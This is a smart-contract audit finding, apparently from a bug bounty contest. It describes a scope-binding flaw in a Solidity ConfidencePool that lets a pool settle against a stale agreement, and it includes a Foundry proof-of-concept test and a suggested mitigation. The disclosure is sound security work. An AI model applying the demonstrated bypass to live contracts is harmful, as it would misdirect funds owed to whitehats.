FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: medium

Locked pool scope can detach from AttackRegistry binding and settle against the wrong agreement state

Author Revealed upon completion

Root + Impact

Description

ConfidencePool lets a pool commit to a fixed list of BattleChain accounts. Once the registry leaves pre-attack staging, this scope is locked and the design says the pool's own scope remains the binding commitment to stakers.

However, the pool validates and stores scope using only:

IAgreement(agreement).isContractInScope(account)

and all later settlement reads only:

IAttackRegistry(attackRegistry).getAgreementState(agreement)

The pool never verifies that each locked scoped account is still bound to agreement through AttackRegistry.getAgreementForContract(account).

This creates a settlement mismatch. A contract can be locked in the pool scope while later being removed/unbound from the original agreement and bound to another agreement. If that scoped contract is corrupted under the new binding agreement, the pool still checks the stale original agreement. As a result, the moderator cannot mark the pool CORRUPTED, and the expiry path can pay principal plus bonus to stakers even though the pool's locked scoped account was corrupted.

// src/ConfidencePool.sol
function _replaceScope(address[] calldata accounts) internal {
...
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (isAccountInScope[account]) revert DuplicateAccount(account);
@> if (!IAgreement(agreement).isContractInScope(account)) {
revert AccountNotInAgreementScope(account);
}
_scopeAccounts.push(account);
isAccountInScope[account] = true;
}
}
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
@> return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_)
external
onlyModerator
{
...
} else if (newOutcome == PoolStates.Outcome.CORRUPTED) {
...
@> if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
}

The upstream Safe Harbor interfaces explicitly separate agreement scope from binding. isContractInScope() returning true does not prove that the agreement is the binding agreement for that contract, and isAgreementValid() only proves that an agreement was factory-created. The binding agreement must be resolved through AttackRegistry.getAgreementForContract(account).

Risk

Likelihood:

  • The pool minimum expiry is 30 days, while the upstream agreement commitment window can be much shorter. After the commitment window expires, an agreement owner can remove a BattleChain account from the agreement scope, which syncs unregistration in the AttackRegistry.

  • scopeLocked only freezes the pool-local _scopeAccounts; it does not freeze or verify the upstream AttackRegistry binding for those accounts.

  • A removed account can later be bound to another agreement and corrupted there, while the pool continues to settle only against the original agreement's state.

Impact:

  • A locked pool-scoped contract can be corrupted under its actual binding agreement, but the pool cannot be marked CORRUPTED unless the stale original agreement is also CORRUPTED.

  • claimExpired() can incorrectly resolve the pool as EXPIRED and pay stakers principal plus bonus.

  • The intended CORRUPTED distribution is bypassed for a contract that remains in the pool's immutable published scope.

Proof of Concept

Create the file:

cat > test/unit/PoC_LockedScopeBindingDetachment.t.sol <<'EOF'
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
contract BindingAwareAttackRegistryMock {
mapping(address agreement => IAttackRegistry.ContractState state) internal _state;
mapping(address account => address agreement) internal _binding;
function setAgreementState(address agreement, IAttackRegistry.ContractState state) external {
_state[agreement] = state;
}
function bind(address account, address agreement) external {
_binding[account] = agreement;
}
function unbind(address account) external {
delete _binding[account];
}
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
function getAgreementForContract(address account) external view returns (address) {
return _binding[account];
}
}
contract LockedScopeBindingDetachmentPoC is Test {
uint256 internal constant ONE = 1e18;
uint256 internal constant BASE_TIMESTAMP = 1_750_000_000;
MockERC20 internal token;
MockSafeHarborRegistry internal safeHarborRegistry;
BindingAwareAttackRegistryMock internal attackRegistry;
MockAgreement internal agreementA;
MockAgreement internal agreementB;
ConfidencePool internal pool;
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal contributor = makeAddr("contributor");
address internal whitehat = makeAddr("whitehat");
address internal scopedContract = address(0xC0FFEE);
address internal remainingContract = address(0xBEEF);
function setUp() external {
vm.warp(BASE_TIMESTAMP);
token = new MockERC20();
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new BindingAwareAttackRegistryMock();
agreementA = new MockAgreement(address(this));
agreementB = new MockAgreement(address(this));
agreementA.setContractInScope(scopedContract, true);
agreementA.setContractInScope(remainingContract, true);
agreementB.setContractInScope(scopedContract, false);
attackRegistry.bind(scopedContract, address(agreementA));
attackRegistry.bind(remainingContract, address(agreementA));
attackRegistry.setAgreementState(address(agreementA), IAttackRegistry.ContractState.NEW_DEPLOYMENT);
attackRegistry.setAgreementState(address(agreementB), IAttackRegistry.ContractState.NEW_DEPLOYMENT);
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
address[] memory scope = new address[](1);
scope[0] = scopedContract;
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
pool.initialize(
address(agreementA),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
}
function testPoC_LockedPoolScopeCanDetachFromBindingAndCannotSettleCorrupted() external {
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), 100 * ONE);
pool.stake(100 * ONE);
vm.stopPrank();
token.mint(contributor, 50 * ONE);
vm.startPrank(contributor);
token.approve(address(pool), 50 * ONE);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
attackRegistry.setAgreementState(address(agreementA), IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked());
assertTrue(pool.isAccountInScope(scopedContract));
assertEq(attackRegistry.getAgreementForContract(scopedContract), address(agreementA));
// After the upstream commitment window, Agreement A removes the contract.
// The pool's locked local scope remains unchanged.
vm.warp(block.timestamp + 8 days);
agreementA.setContractInScope(scopedContract, false);
attackRegistry.unbind(scopedContract);
assertFalse(agreementA.isContractInScope(scopedContract));
assertTrue(pool.isAccountInScope(scopedContract));
assertEq(attackRegistry.getAgreementForContract(scopedContract), address(0));
// The same account is then bound to Agreement B and corrupted there.
agreementB.setContractInScope(scopedContract, true);
attackRegistry.bind(scopedContract, address(agreementB));
attackRegistry.setAgreementState(address(agreementB), IAttackRegistry.ContractState.UNDER_ATTACK);
attackRegistry.setAgreementState(address(agreementB), IAttackRegistry.ContractState.CORRUPTED);
assertEq(attackRegistry.getAgreementForContract(scopedContract), address(agreementB));
assertEq(
uint256(attackRegistry.getAgreementState(address(agreementB))),
uint256(IAttackRegistry.ContractState.CORRUPTED)
);
// The pool-scoped contract is corrupted under its actual binding agreement,
// but the pool checks Agreement A, which is still UNDER_ATTACK.
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
// At expiry the pool resolves EXPIRED against Agreement A and pays the staker.
vm.warp(pool.expiry());
uint256 aliceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertEq(token.balanceOf(alice) - aliceBefore, 150 * ONE);
assertEq(token.balanceOf(whitehat), 0);
assertEq(token.balanceOf(address(pool)), 0);
}
}
EOF

Run:

forge test --match-path test/unit/PoC_LockedScopeBindingDetachment.t.sol -vvvv

Expected result:

[PASS] testPoC_LockedPoolScopeCanDetachFromBindingAndCannotSettleCorrupted()

The test demonstrates:

  1. The pool locks scopedContract in its own immutable scope.

  2. The same account is later unbound from Agreement A and bound to Agreement B.

  3. Agreement B becomes CORRUPTED.

  4. The moderator cannot mark the pool CORRUPTED because the pool checks Agreement A's state.

  5. claimExpired() pays the staker 100e18 principal plus 50e18 bonus, while the whitehat receives nothing.

Recommended Mitigation

Do not treat IAgreement.isContractInScope(account) as sufficient proof that the pool's scoped account is governed by the stored agreement.

When creating or updating pool scope, also resolve the current AttackRegistry binding:

address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (IAttackRegistry(attackRegistry).getAgreementForContract(account) != agreement) {
revert AccountNotBoundToAgreement(account);
}

Additionally, before locking scope or resolving outcomes, either:

  1. verify that every locked scoped account is still bound to agreement; or

  2. explicitly store the account-to-agreement binding at scope lock and use that stored commitment consistently in settlement logic.

If the intended design is that pool-local scope remains binding even after upstream agreement narrowing, then CORRUPTED resolution cannot be gated only on getAgreementState(agreement). The pool needs a settlement rule that can enforce corruption for the locked scoped account's actual binding agreement.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!